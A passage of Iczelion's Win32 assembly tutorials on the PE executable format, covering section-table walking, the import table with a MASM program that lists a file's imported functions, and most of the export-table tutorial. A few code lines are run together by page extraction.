The steps in walking the section table are:

  1. Verify that the file is a valid PE
  2. Go to the beginning of the PE header
  3. Obtain the number of sections from NumberOfSections field in the file header.
  4. Go to the section table either by adding ImageBase to SizeOfHeaders or by adding the address of the PE header to the size of the PE header. (The section table immediately follows the PE header). If you don't use file mapping, you need to move the file pointer to the section table using SetFilePointer. The file offset of the section table is in SizeOfHeaders.(SizeOfHeaders is a member of IMAGE_OPTIONAL_HEADER)
  5. Process each IMAGE_SECTION_HEADER structure.

[Iczelion's Win32 Assembly Homepage]


Iczelion's PE Tutorial 6: Import Table

Tutorial 6: Import Table

We will learn about import table in this tutorial. Let me warn you first. This tutorial is a long and difficult one for those who aren't familiar with the import table. You may need to read this tutorial several times and may even have to examine the related structures under a debugger.

Download the example.

Theory:

First of all, you should know what an import function is. An import function is a function that is not in the caller's module but is called by the module, thus the name "import". The import functions actually reside in one or more DLLs. Only the information about the functions is kept in the caller's module. That information includes the function names and the names of the DLLs in which they reside.
Now how can we find out where in the PE file the information is kept? We must turn to the data directory for the answer. I'll refresh your memory a bit. Below is the PE header:

IMAGE_NT_HEADERS STRUCT
   Signature dd ?
   FileHeader IMAGE_FILE_HEADER <>
   OptionalHeader IMAGE_OPTIONAL_HEADER <>
IMAGE_NT_HEADERS ENDS

The last member of the optional header is the data directory:

IMAGE_OPTIONAL_HEADER32 STRUCT
   ....
   LoaderFlags dd ?
   NumberOfRvaAndSizes dd ?
   DataDirectory IMAGE_DATA_DIRECTORY 16 dup(<>)
IMAGE_OPTIONAL_HEADER32 ENDS

The data directory is an array of IMAGE_DATA_DIRECTORY structure. A total of 16 members. If you remember the section table as the root directory of the sections in a PE file, you should also think of the data directory as the root directory of the logical components stored inside those sections. To be precise, the data directory contains the locations and sizes of the important data structures in the PE file. Each member contains information about an important data structure.

Member | Info inside
0 | Export symbols
1 | Import symbols
2 | Resources
3 | Exception
4 | Security
5 | Base relocation
6 | Debug
7 | Copyright string
8 | Unknown
9 | Thread local storage (TLS)
10 | Load configuration
11 | Bound Import
12 | Import Address Table
13 | Delay Import
14 | COM descriptor

Only the members painted in gold are known to me. Now that you know what each member of the data directory contains, we can learn about the member in detail. Each member of the data directory is a structure called IMAGE_DATA_DIRECTORY which has the following definition:

IMAGE_DATA_DIRECTORY STRUCT
  VirtualAddress dd ?
  isize dd ?
IMAGE_DATA_DIRECTORY ENDS

VirtualAddress is actually the relative virtual address (RVA) of the data structure. For example, if this structure is for import symbols, this field contains the RVA of the IMAGE_IMPORT_DESCRIPTOR array.
isize contains the size in bytes of the data structure referred to by VirtualAddress.

Here's the general scheme on finding important data structures in a PE file:

  1. From the DOS header, you go to the PE header
  2. Obtain the address of the data directory in the optional header.
  3. Multiply the size of IMAGE_DATA_DIRECTORY with the member index you want: for example if you want to know where the import symbols are, you must multiply the size of IMAGE_DATA_DIRECTORY (8 bytes) with 1.
  4. Add the result to the address of the data directory and you have the address of the IMAGE_DATA_DIRECTORY structure that contains the info about the desired data structure.

Now we will enter into the real discussion about the import table. The address of the import table is contained in the VirtualAddress field of the second member of the data directory. The import table is actually an array of IMAGE_IMPORT_DESCRIPTOR structures. Each structure contains information about a DLL the PE file imports symbols from. For example, if the PE file imports functions from 10 different DLLs, there will be 10 members in this array. The array is terminated by the member which contain all zeroes. Now we can examine the structure in detail:

IMAGE_IMPORT_DESCRIPTOR STRUCT
  union
    Characteristics dd ?
    OriginalFirstThunk dd ?
  ends
  TimeDateStamp dd ?
  ForwarderChain dd ?
  Name1 dd ?
  FirstThunk dd ?
IMAGE_IMPORT_DESCRIPTOR ENDS

The first member of this structure is a union. Actually, the union only provides the alias for OriginalFirstThunk, so you can call it "Characteristics". This member contains the the RVA of an array of IMAGE_THUNK_DATA structures.
What is IMAGE_THUNK_DATA? It's a union of dword size. Usually, we interpret it as the pointer to an IMAGE_IMPORT_BY_NAME structure. Note that IMAGE_THUNK_DATA contains the pointer to an IMAGE_IMPORT_BY_NAME structure: not the structure itself.
Look at it this way: There are several IMAGE_IMPORT_BY_NAME structures. We collect the RVA of those structures (IMAGE_THUNK_DATAs) into an array, terminate it with 0. Then we put the RVA of the array into OriginalFirstThunk.
The IMAGE_IMPORT_BY_NAME structure contains information about an import function. Now let's see what IMAGE_IMPORT_BY_NAME structure looks like:

IMAGE_IMPORT_BY_NAME STRUCT
  Hint dw ?
  Name1 db ?
IMAGE_IMPORT_BY_NAME ENDS

Hint contains the index into the export table of the DLL the function resides in. This field is for use by the PE loader so it can look up the function in the DLL's export table quickly.This value is not essential and some linkers may set the value in this field to 0.
Name1 contains the name of the import function. The name is an ASCIIZ string. Note that Name1's size is defined as byte but it's really a variable-sized field. It's just that there is no way to represent a variable-sized field in a structure. The structure is provided so that you can refer to the data structure with descriptive names.

TimeDateStamp and ForwarderChain are advanced stuff: We will talk about them after you have firm grasp of the other members.

Name1 contains the RVA to the name of the DLL, in short, the pointer to the name of the DLL. The string is an ASCIIZ one.

FirstThunk is very similar to OriginalFirstThunk, ie. it contains an RVA of an array of IMAGE_THUNK_DATA structures(a different array though).
Ok, if you're still confused, look at it this way: There are several IMAGE_IMPORT_BY_NAME structures. You create two arrays, then fill them with the RVAs of those IMAGE_IMPORT_BY_NAME structures, so both arrays contain exactly the same values (i.e. exact duplicate). Now you assign the RVA of the first array to OriginalFirstThunk and the RVA of the second array to FirstThunk.

OriginalFirstThunk IMAGE_IMPORT_BY_NAME FirstThunk

|

|
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
...
IMAGE_THUNK_DATA
--->
--->
--->
--->
--->
--->
Function 1
Function 2
Function 3
Function 4
...
Function n
<---
<---
<---
<---
<---
<---
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
...
IMAGE_THUNK_DATA

Now you should be able to understand what I mean. Don't be confused by the name IMAGE_THUNK_DATA: it's only an RVA into IMAGE_IMPORT_BY_NAME structure. If you replace the word IMAGE_THUNK_DATA with RVA in your mind, you'll perhaps see it more clearly. The number of array elements in OriginalFirstThunk and FirstThunk array depends on the functions the PE file imports from the DLL. For example, if the PE file imports 10 functions from kernel32.dll, Name1 in the IMAGE_IMPORT_DESCRIPTOR structure will contain the RVA of the string "kernel32.dll" and there will be 10 IMAGE_THUNK_DATAs in each array.
The next question is: why do we need two arrays that are exactly the same? To answer that question, we need to know that when the PE file is loaded into memory, the PE loader will look at the IMAGE_THUNK_DATAs and IMAGE_IMPORT_BY_NAMEs and determine the addresses of the import functions. Then it replaces the IMAGE_THUNK_DATAs in the array pointed to by FirstThunk with the real addresses of the functions. Thus when the PE file is ready to run, the above picture is changed to:

OriginalFirstThunk IMAGE_IMPORT_BY_NAME FirstThunk

|

|
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
...
IMAGE_THUNK_DATA
--->
--->
--->
--->
--->
--->
Function 1
Function 2
Function 3
Function 4
...
Function n
Address of Function 1
Address of Function 2
Address of Function 3
Address of Function 4
...
Address of Function n

The array of RVAs pointed to by OriginalFirstThunk remains unchanged so that if the need arises to find the names of import functions, the PE loader can still find them.
There is a little twist on this *straightforward* scheme. Some functions are exported by ordinal only. It means you don't call the functions by their names: you call them by their positions. In this case, there will be no IMAGE_IMPORT_BY_NAME structure for that function in the caller's module. Instead, the IMAGE_THUNK_DATA for that function will contain the ordinal of the function in the low word and the most significant bit (MSB) of IMAGE_THUNK_DATA set to 1. For example, if a function is exported by ordinal only and its ordinal is 1234h, the IMAGE_THUNK_DATA for that function will be 80001234h. Microsoft provides a handy constant for testing the MSB of a dword, IMAGE_ORDINAL_FLAG32. It has the value of 80000000h.
Suppose that we want to list the names of ALL import functions of a PE file, we need to follow the steps below:

  1. Verify that the file is a valid PE
  2. From the DOS header, go to the PE header
  3. Obtain the address of the data directory in OptionalHeader
  4. Go to the 2nd member of the data directory. Extract the value of VirtualAddress
  5. Use that value to go to the first IMAGE_IMPORT_DESCRIPTOR structure
  6. Check the value of OriginalFirstThunk. If it's not zero, follow the RVA in OriginalFirstThunk to the RVA array. If OriginalFirstThunk is zero, use the value in FirstThunk instead. Some linkers generate PE files with 0 in OriginalFirstThunk. This is considered a bug. Just to be on the safe side, we check the value in OriginalFirstThunk first.
  7. For each member in the array, we check the value of the member against IMAGE_ORDINAL_FLAG32. If the most significant bit of the member is 1, then the function is exported by ordinal and we can extract the ordinal number from the low word of the member.
  8. If the most significant bit of the member is 0, use the value in the member as the RVA into the IMAGE_IMPORT_BY_NAME, skip Hint, and you're at the name of the function.
  9. Skip to the next array member, and retrieve the names until the end of the array is reached (it's null -terminated). Now we are done extracting the names of the functions imported from a DLL. We go to the next DLL.
  10. Skip to the next IMAGE_IMPORT_DESCRIPTOR and process it. Do that until the end of the array is reached (IMAGE_IMPORT_DESCRIPTOR array is terminated by a member with all zeroes in its fields).

Example:

This example opens a PE file and reads the names of all import functions of that file into an edit control. It also shows the values in the IMAGE_IMPORT_DESCRIPTOR structures.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

IDD_MAINDLG equ 101
IDC_EDIT equ 1000
IDM_OPEN equ 40001
IDM_EXIT equ 40003

DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD
ShowImportFunctions proto :DWORD
ShowTheFunctions proto :DWORD,:DWORD
AppendText proto :DWORD,:DWORD

SEH struct
PrevLink dd ? ; the address of the previous seh structure
CurrentHandler dd ? ; the address of the new exception handler
SafeOffset dd ? ; The offset where it's safe to continue execution
PrevEsp dd ? ; the old value in esp
PrevEbp dd ? ; The old value in ebp
SEH ends

.data
AppName db "PE tutorial no.6",0
ofn OPENFILENAME <>
FilterString db "Executable Files (*.exe, *.dll)",0,"*.exe;*.dll",0
             db "All Files",0,"*.*",0,0
FileOpenError db "Cannot open the file for reading",0
FileOpenMappingError db "Cannot open the file for memory mapping",0
FileMappingError db "Cannot map the file into memory",0
NotValidPE db "This file is not a valid PE",0
CRLF db 0Dh,0Ah,0
ImportDescriptor db 0Dh,0Ah,"================[ IMAGE_IMPORT_DESCRIPTOR ]=============",0
IDTemplate db "OriginalFirstThunk = %lX",0Dh,0Ah
           db "TimeDateStamp = %lX",0Dh,0Ah
           db "ForwarderChain = %lX",0Dh,0Ah
           db "Name = %s",0Dh,0Ah
           db "FirstThunk = %lX",0
NameHeader db 0Dh,0Ah,"Hint Function",0Dh,0Ah
           db "-----------------------------------------",0
NameTemplate db "%u %s",0
OrdinalTemplate db "%u (ord.)",0

.data?
buffer db 512 dup(?)
hFile dd ?
hMapping dd ?
pMapping dd ?
ValidPE dd ?

.code
start:
invoke GetModuleHandle,NULL
invoke DialogBoxParam, eax, IDD_MAINDLG,NULL,addr DlgProc, 0
invoke ExitProcess, 0

DlgProc proc hDlg:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
.if uMsg==WM_INITDIALOG
  invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_SETLIMITTEXT,0,0
.elseif uMsg==WM_CLOSE
  invoke EndDialog,hDlg,0
.elseif uMsg==WM_COMMAND
  .if lParam==0
    mov eax,wParam
    .if ax==IDM_OPEN
      invoke ShowImportFunctions,hDlg
    .else ; IDM_EXIT
      invoke SendMessage,hDlg,WM_CLOSE,0,0
    .endif
  .endif
.else
  mov eax,FALSE
  ret
.endif
mov eax,TRUE
ret
DlgProc endp

SEHHandler proc uses edx pExcept:DWORD, pFrame:DWORD, pContext:DWORD, pDispatch:DWORD
  mov edx,pFrame
  assume edx:ptr SEH
  mov eax,pContext
  assume eax:ptr CONTEXT
  push [edx].SafeOffset
  pop [eax].regEip
  push [edx].PrevEsp
  pop [eax].regEsp
  push [edx].PrevEbp
  pop [eax].regEbp
  mov ValidPE, FALSE
  mov eax,ExceptionContinueExecution
  ret
SEHHandler endp

ShowImportFunctions proc uses edi hDlg:DWORD
  LOCAL seh:SEH
  mov ofn.lStructSize,SIZEOF
  ofn mov ofn.lpstrFilter, OFFSET FilterString
  mov ofn.lpstrFile, OFFSET buffer
  mov ofn.nMaxFile,512
  mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
  invoke GetOpenFileName, ADDR ofn
  .if eax==TRUE
    invoke CreateFile, addr buffer, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
    .if eax!=INVALID_HANDLE_VALUE
      mov hFile, eax
      invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0
      .if eax!=NULL
        mov hMapping, eax
        invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0
        .if eax!=NULL
          mov pMapping,eax
          assume fs:nothing
          push fs:[0]
          pop seh.PrevLink
          mov seh.CurrentHandler,offset SEHHandler
          mov seh.SafeOffset,offset FinalExit
          lea eax,seh
          mov fs:[0], eax
          mov seh.PrevEsp,esp
          mov seh.PrevEbp,ebp
          mov edi, pMapping
          assume edi:ptr IMAGE_DOS_HEADER
          .if [edi].e_magic==IMAGE_DOS_SIGNATURE
            add edi, [edi].e_lfanew
            assume edi:ptr IMAGE_NT_HEADERS
            .if [edi].Signature==IMAGE_NT_SIGNATURE
              mov ValidPE, TRUE
            .else
              mov ValidPE, FALSE
            .endif
          .else
            mov ValidPE,FALSE
          .endif
FinalExit:
          push seh.PrevLink
          pop fs:[0]
          .if ValidPE==TRUE
            invoke ShowTheFunctions, hDlg, edi
          .else
            invoke MessageBox,0, addr NotValidPE, addr AppName, MB_OK+MB_ICONERROR
          .endif
          invoke UnmapViewOfFile, pMapping
      .else
          invoke MessageBox, 0, addr FileMappingError, addr AppName, MB_OK+MB_ICONERROR
      .endif
      invoke CloseHandle,hMapping
    .else
      invoke MessageBox, 0, addr FileOpenMappingError, addr AppName, MB_OK+MB_ICONERROR
    .endif
    invoke CloseHandle, hFile
   .else
   invoke MessageBox, 0, addr FileOpenError, addr AppName, MB_OK+MB_ICONERROR
   .endif
 .endif
 ret
ShowImportFunctions endp

AppendText proc hDlg:DWORD,pText:DWORD
   invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_REPLACESEL,0,pText
   invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_REPLACESEL,0,addr CRLF
   invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_SETSEL,-1,0
   ret
AppendText endp

RVAToOffset PROC uses edi esi edx ecx pFileMap:DWORD,RVA:DWORD
   mov esi,pFileMap
   assume esi:ptr IMAGE_DOS_HEADER
   add esi,[esi].e_lfanew
   assume esi:ptr IMAGE_NT_HEADERS
   mov edi,RVA ; edi == RVA
   mov edx,esi
   add edx,sizeof IMAGE_NT_HEADERS
   mov cx,[esi].FileHeader.NumberOfSections
   movzx ecx,cx
   assume edx:ptr IMAGE_SECTION_HEADER
   .while ecx>0 ; check all sections
     .if edi>=[edx].VirtualAddress
       mov eax,[edx].VirtualAddress
       add eax,[edx].SizeOfRawData
       .if edi<eax ; The address is in this section
         mov eax,[edx].VirtualAddress
         sub edi,eax
         mov eax,[edx].PointerToRawData
         add eax,edi ; eax == file offset
         ret
       .endif
     .endif
     add edx,sizeof IMAGE_SECTION_HEADER
     dec ecx
   .endw
   assume edx:nothing
   assume esi:nothing
   mov eax,edi
   ret
RVAToOffset endp

ShowTheFunctions proc uses esi ecx ebx hDlg:DWORD, pNTHdr:DWORD
   LOCAL temp[512]:BYTE
   invoke SetDlgItemText,hDlg,IDC_EDIT,0
   invoke AppendText,hDlg,addr buffer
   mov edi,pNTHdr
   assume edi:ptr IMAGE_NT_HEADERS
   mov edi, [edi].OptionalHeader.DataDirectory[sizeof IMAGE_DATA_DIRECTORY].VirtualAddress
   invoke RVAToOffset,pMapping,edi
   mov edi,eax
   add edi,pMapping
   assume edi:ptr IMAGE_IMPORT_DESCRIPTOR
   .while !([edi].OriginalFirstThunk==0 && [edi].TimeDateStamp==0 && [edi].ForwarderChain==0 && [edi].Name1==0 && [edi].FirstThunk==0)
     invoke AppendText,hDlg,addr ImportDescriptor
     invoke RVAToOffset,pMapping, [edi].Name1
     mov edx,eax
     add edx,pMapping
     invoke wsprintf, addr temp, addr IDTemplate, [edi].OriginalFirstThunk,[edi].TimeDateStamp,[edi].ForwarderChain,edx,[edi].FirstThunk      invoke AppendText,hDlg,addr temp
     .if [edi].OriginalFirstThunk==0
        mov esi,[edi].FirstThunk
     .else
        mov esi,[edi].OriginalFirstThunk
     .endif
     invoke RVAToOffset,pMapping,esi
     add eax,pMapping
     mov esi,eax
     invoke AppendText,hDlg,addr NameHeader
     .while dword ptr [esi]!=0
       test dword ptr [esi],IMAGE_ORDINAL_FLAG32
       jnz ImportByOrdinal
       invoke RVAToOffset,pMapping,dword ptr [esi]
       mov edx,eax
       add edx,pMapping
       assume edx:ptr IMAGE_IMPORT_BY_NAME
       mov cx, [edx].Hint
       movzx ecx,cx
       invoke wsprintf,addr temp,addr NameTemplate,ecx,addr [edx].Name1
       jmp ShowTheText
ImportByOrdinal:
       mov edx,dword ptr [esi]
       and edx,0FFFFh
       invoke wsprintf,addr temp,addr OrdinalTemplate,edx
ShowTheText:
       invoke AppendText,hDlg,addr temp
       add esi,4
    .endw
    add edi,sizeof IMAGE_IMPORT_DESCRIPTOR
  .endw
  ret
ShowTheFunctions endp
end start

Analysis:

The program shows an open file dialog box when the user clicks Open in the menu. It verifies that the file is a valid PE and then calls ShowTheFunctions.

ShowTheFunctions proc uses esi ecx ebx hDlg:DWORD, pNTHdr:DWORD
   LOCAL temp[512]:BYTE

Reserve 512 bytes of stack space for string operation.

   invoke SetDlgItemText,hDlg,IDC_EDIT,0

Clear the text in the edit control

   invoke AppendText,hDlg,addr buffer

Insert the name of the PE file into the edit control. AppendText just sends EM_REPLACESEL messages to append the text to the edit control. Note that it sends EM_SETSEL with wParam=-1 and lParam=0 to the edit control to move the cursor to the end of the text.

   mov edi,pNTHdr
   assume edi:ptr IMAGE_NT_HEADERS
   mov edi, [edi].OptionalHeader.DataDirectory[sizeof IMAGE_DATA_DIRECTORY].VirtualAddress

Obtain the RVA of the import symbols. edi at first points to the PE header. We use it to go to the 2nd member of the data directory array and obtain the value of VirtualAddress member.

   invoke RVAToOffset,pMapping,edi
   mov edi,eax
   add edi,pMapping

Here comes one of the pitfalls for newcomers to PE programming. Most of the addresses in the PE file are RVAs and RVAs are meaningful only when the PE file is loaded into memory by the PE loader. In our case, we do map the file into memory but not the way the PE loader does. Thus we cannot use those RVAs directly. Somehow we have to convert those RVAs into file offsets. I write RVAToOffset function just for this purpose. I won't analyze it in detail here. Suffice to say that it checks the submitted RVA against the starting-ending RVAs of all sections in the PE file and use the value in PointerToRawData field in the IMAGE_SECTION_HEADER structure to convert the RVA to file offset.
To use this function, you pass it two parameters: the pointer to the memory mapped file and the RVA you want to convert. It returns the file offset in eax. In the above snippet, we must add the pointer to the memory mapped file to the file offset to convert it to virtual address. Seems complicated, huh? :)

   assume edi:ptr IMAGE_IMPORT_DESCRIPTOR
   .while !([edi].OriginalFirstThunk==0 && [edi].TimeDateStamp==0 && [edi].ForwarderChain==0 && [edi].Name1==0 && [edi].FirstThunk==0)

edi now points to the first IMAGE_IMPORT_DESCRIPTOR structure. We will walk the array until we find the structure with zeroes in all members which denotes the end of the array.

     invoke AppendText,hDlg,addr ImportDescriptor
     invoke RVAToOffset,pMapping, [edi].Name1
     mov edx,eax
     add edx,pMapping

We want to display the values of the current IMAGE_IMPORT_DESCRIPTOR structure in the edit control. Name1 is different from the other members since it contains the RVA to the name of the dll. Thus we must convert it to a virtual address first.

     invoke wsprintf, addr temp, addr IDTemplate, [edi].OriginalFirstThunk,[edi].TimeDateStamp,[edi].ForwarderChain,edx,[edi].FirstThunk      invoke AppendText,hDlg,addr temp

Display the values of the current IMAGE_IMPORT_DESCRIPTOR.

     .if [edi].OriginalFirstThunk==0
        mov esi,[edi].FirstThunk
     .else
        mov esi,[edi].OriginalFirstThunk
     .endif

Next we prepare to walk the IMAGE_THUNK_DATA array. Normally we would choose to use the array pointed to by OriginalFirstThunk. However, some linkers errornously put 0 in OriginalFirstThunk thus we must check first if the value of OriginalFirstThunk is zero. If it is, we use the array pointed to by FirstThunk instead.

     invoke RVAToOffset,pMapping,esi
     add eax,pMapping
     mov esi,eax

Again, the value in OriginalFirstThunk/FirstThunk is an RVA. We must convert it to virtual address.

     invoke AppendText,hDlg,addr NameHeader
     .while dword ptr [esi]!=0

Now we are ready to walk the array of IMAGE_THUNK_DATAs to look for the names of the functions imported from this DLL. We will walk the array until we find an entry which contains 0.

       test dword ptr [esi],IMAGE_ORDINAL_FLAG32
       jnz ImportByOrdinal

The first thing we do with the IMAGE_THUNK_DATA is to test it against IMAGE_ORDINAL_FLAG32. This test checks if the most significant bit of the IMAGE_THUNK_DATA is 1. If it is, the function is exported by ordinal so we have no need to process it further. We can extract its ordinal from the low word of the IMAGE_THUNK_DATA and go on with the next IMAGE_THUNK_DATA dword.

       invoke RVAToOffset,pMapping,dword ptr [esi]
       mov edx,eax
       add edx,pMapping
       assume edx:ptr IMAGE_IMPORT_BY_NAME

If the MSB of the IAMGE_THUNK_DATA is 0, it contains the RVA of IMAGE_IMPORT_BY_NAME structure. We need to convert it to virtual address first.

       mov cx, [edx].Hint
       movzx ecx,cx
       invoke wsprintf,addr temp,addr NameTemplate,ecx,addr [edx].Name1
       jmp ShowTheText

Hint is a word-sized field. We must convert it to a dword-sized value before submitting it to wsprintf. And we print both the hint and the function name in the edit control

ImportByOrdinal:
       mov edx,dword ptr [esi]
       and edx,0FFFFh
       invoke wsprintf,addr temp,addr OrdinalTemplate,edx

In the case the function is exported by ordinal only, we zero out the high word and display the ordinal.

ShowTheText:
       invoke AppendText,hDlg,addr temp
       add esi,4

After inserting the function name/ordinal into the edit control, we skip to the next IMAGE_THUNK_DATA.

    .endw
    add edi,sizeof IMAGE_IMPORT_DESCRIPTOR

When all IMAGE_THUNK_DATA dwords in the array are processed, we skip to the next IMAGE_IMPORT_DESCRIPTOR to process the import functions from other DLLs.

Appendix:

It would be incomplete if I don't mention something about bound import. In order to explain what it is, I need to digress a bit. When the PE loader loads a PE file into memory, it examines the import table and loads the required DLLs into the process address space. Then it walks the IMAGE_THUNK_DATA array much like we did and replaces the IMAGE_THUNK_DATAs with the real addresses of the import functions. This step takes time. If somehow the programmer can predict the addresses of the functions correctly, the PE loader doesn't have to fix the IMAGE_THUNK_DATAs each time the PE file is run. Bound import is the product of that idea.
To put it in simple terms, there is a utility named bind.exe that comes with Microsoft compilers such as Visual Studio that examines the import table of a PE file and replaces the IMAGE_THUNK_DATA dwords with the addresses of the import functions.When the file is loaded, the PE loader must check if the addresses are valid. If the DLL versions do not match the ones in the PE files or if the DLLs need to be relocated, the PE loader knows that the precomputed addresses are not valid thus it must walk the array pointed to by OriginalFirstThunk to calculate the new addresses of import functions.
Bound import doesn't have much significance in our example because we use OriginalFirstThunk by default. For more information about the bound import, I recommmend LUEVELSMEYER's pe.txt.

[Iczelion's Win32 Assembly Homepage]


Iczelion's PE Tutorial 7: Export Table

Tutorial 7: Export Table

We have learned about one part of the dynamic linking, namely the import table, in the previous tutorial. Now we will learn about the other side of the coin, the export table.

Download the example.

Theory:

When the PE loader runs a program, it loads the associated DLLs into the process address space. It then extracts information about the import functions from the main program. It uses the information to search the DLLs for the addresses of the functions to be patched into the main program. The place in the DLLs where the PE loader looks for the addresses of the functions is the export table.

When a DLL/EXE exports a function to be used by other DLL/EXE, it can do so in two ways: it can export the function by name or by ordinal only. Say if there is a function named "GetSysConfig" in a DLL, it can choose to tell the other DLLs/EXEs that if they want to call the function, they must specify it by its name, ie. GetSysConfig. The other way is to export by ordinal. What's an ordinal? An ordinal is a 16-bit number that uniquely identifies a function in a particular DLL. This number is unique only within the DLL it refers to. For example, in the above example, the DLL can choose to export the function by ordinal, say, 16. Then the other DLLs/EXEs which want to call this function must specify this number in GetProcAddress. This is called export by ordinal only.

Export by ordinal only is strongly discouraged because it can cause a maintenance problem for the DLL. If the DLL is upgraded/updated, the programmer of that DLL cannot alter the ordinals of the functions else other programs that depend on the DLL will break.

Now we can examine the export structure. As with import table, you can find where the export table is from looking at the data directory. In this case, the export table is the first member of the data directory. The export structure is called IMAGE_EXPORT_DIRECTORY. There are 11 members in the structure but only some of them are really used.

Field Name | Meaning
nName | The actual name of the module. This field is necessary because the name of the file can be changed. If it's the case, the PE loader will use this internal name.
nBase | A number that you must bias against the ordinals to get the indexes into the address-of-function array.
NumberOfFunctions | Total number of functions/symbols that are exported by this module.
NumberOfNames | Number of functions/symbols that are exported by name. This value is not the number of ALL functions/symbols in the module. For that number, you need to check NumberOfFunctions. This value can be 0. In that case, the module may export by ordinal only. If there is no function/symbol to be exported in the first case, the RVA of the export table in the data directory will be 0.
AddressOfFunctions | An RVA that points to an array of RVAs of the functions/symbols in the module. In short, RVAs to all functions in the module are kept in an array and this field points to the head of that array.
AddressOfNames | An RVA that points to an array of RVAs of the names of functions in the module.
AddressOfNameOrdinals | An RVA that points to a 16-bit array that contains the ordinals associated with the function names in the AddressOfNames array above.

Just reading the above table may not give you the real picture of the export table. The simplified explanation below will clarify the concept.

The export table exists for use by the PE loader. First of all, the module must keep the addresses of all exported functions somewhere so the PE loader can look them up. It keeps them in an array that is pointed to by the field AddressOfFunctions. The number of elements in the array is kept in NumberOfFunctions. Thus if the module exports 40 functions, it must have 40 members in the array pointed to by AddressOfFunctions and NumberOfFunctions must contain a value 40. Now if some functions are exported by names, the module must keep the names in the file. It keeps the RVAs to the names in an array so the PE loader can look them up. That array is pointed to by AddressOfNames and the number of names in NumberOfNames. Think about the job of the PE loader, it knows the names of the functions, it must somehow obtain the addresses of those functions. Up to now, the module has two arrays: the names and the addresses but there is no linkage between them. Thus we need something that relates the names of the functions to their addresses. The PE specification uses indexes into the address array as that essential linkage. Thus if the PE loader finds the name it looks for in the name array, it can obtain the index into the address table for that name too. The indexes are kept in another array (the last one) pointed to by the field AddressOfNameOrdinals. Since this array exists as the linkage between the names and the addresses, it must have exactly the same number of elements as the name array, ie. each name can have one and only one associated address. The reverse is not true: an address may have several names associated with it. Thus we can have "aliases" that refer to the same address. To make the linkage works, both name and index arrays must run in parallel, ie. the first element in the index array must hold the index for the first name and so on.

AddressOfNames AddressOfNameOrdinals
|
|
RVA of Name 1
RVA of Name 2
RVA of Name 3
RVA of Name 4
...
RVA of Name N
<-->
<-->
<-->
<-->
...
<-->
Index of Name 1
Index of Name 2
Index of Name 3
Index of Name 4
...
Index of Name N

An example or two is in order. If we have the name of an export function and we need to get its address in the module, we can do like this:

  1. Go to the PE header
  2. Read the virtual address of the export table in the data directory
  3. Go to the export table and obtain the number of names (NumberOfNames)
  4. Walk the arrays pointed to by AddressOfNames and AddressOfNameOrdinals in parallel, searching for the matching name. If the name is found in the AddressOfNames array, you must extract the value in the associated element in the AddressOfNameOrdinals array. For example, if you find the RVA of the matching name in 77th element of the AddressOfNames array, you must extract the value stored in the 77th element of the AddressOfNameOrdinals array. If you walk the array until NumberOfNames elements are examined, you know that the name is not in this module.
  5. Use the value from the AddressOfNameOrdinals array as the index into the AddressOfFunctions array. Say, if the value is 5, you must extract the value in the 5th element of the AddressOfFunctions array. That value is the RVA of the function.

Now we can turn our attention to the nBase member of the IMAGE_EXPORT_DIRECTORY structure. You already know that the AddressOfFunctions array contains the addresses of all export symbols in a module. And the PE loader uses the indexes into this array to find the addresses of the functions. Let's imagine the scenario where we use the indexes into this array as the ordinals. Since the programmers can specify the starting ordinal number in .def file, like 200, it means that there must be at least 200 elements in the AddressOfFunctions array. Furthermore the first 200 elements are not used but they must exist so that the PE loader can use the indexes to find the correct addresses. This is not good at all. The nBase member exists to solve this problem. If the programmer specifies the starting ordinal of 200, the value in nBase would be 200. When the PE loader reads the value in nBase, it knows that the first 200 elements do not exist and that it should subtract the ordinal by the value in nBase to obtain the true index into the AddressOfFunctions array. With the use of nBase, there is no need to provide 200 empty elements.

Note that nBase doesn't affect the values in the AddressOfNameOrdinals array. Despite the name "AddressOfNameOrdinals", this array contains the true indexes into the AddressOfFunctions array, not the ordinals.

With the discussion of nBase out of the way, we can continue to the next example.
Suppose that we have an ordinal of a function and we need to obtain the address of that function, we can do it like this:

  1. Go to the PE header
  2. Obtain the RVA of the export table from the data directory
  3. Go to the export table and obtain the value of nBase.
  4. Subtract the ordinal by the value in nBase and you have the index into the AddressOfFunctions array.
  5. Compare the index with the value in NumberOfFunctions. If the index is larger or equal to the value in NumberOfFunctions, the ordinal is invalid.
  6. Use the index to obtain the RVA of the function in the AddressOfFunctions array.

Note that obtaining the address of a function from an ordinal is much easier and faster than using the name of the function. There is no need to walk the AddressOfNames and AddressOfNameOrdinals arrays. The performance gain, however, must be balanced against the difficulty in the maintaining the module.

In conclusion, if you want to obtain the address of a function from its name, you need to walk both AddressOfNames and AddressOfNameOrdinals arrays to obtain the index into the AddressOfFunctions array. If you have the ordinal of the function, you can go directly to the AddressOfFunctions array after the ordinal is biased by nBase.

If a function is exported by name, you can use either its name or its ordinal in GetProcAddress. But what if the function is exported by ordinal only? We come to that now.
